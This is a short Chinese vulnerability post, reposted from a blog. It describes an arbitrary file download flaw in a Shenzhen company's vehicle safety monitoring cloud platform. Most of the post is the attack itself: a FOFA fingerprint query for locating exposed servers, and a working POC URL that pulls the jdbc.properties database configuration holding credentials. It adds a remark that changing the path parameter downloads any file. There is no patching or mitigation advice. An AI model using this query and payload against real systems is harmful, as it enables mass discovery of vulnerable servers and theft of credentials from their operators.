简介
深圳市强鸿电子有限公司鸿运主动安全监控云平台网页存在任意文件下载漏洞，攻击者可通过此漏洞下载网站配置文件等获得登录账号密码
漏洞复现
FOFA语法：body="./open/webApi.html"
获取网站数据库配置文件
POC：/808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties
访问 http://ip:port//808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties
可直接下载到该文件
替换path=后的文件可导致任意文件下载：
标签：
安全
本文转载自: https://blog.csdn.net/l1593572468/article/details/134212198
版权归原作者 Cheng-Ling 所有， 如有侵权，请联系我们删除。
版权归原作者 Cheng-Ling 所有， 如有侵权，请联系我们删除。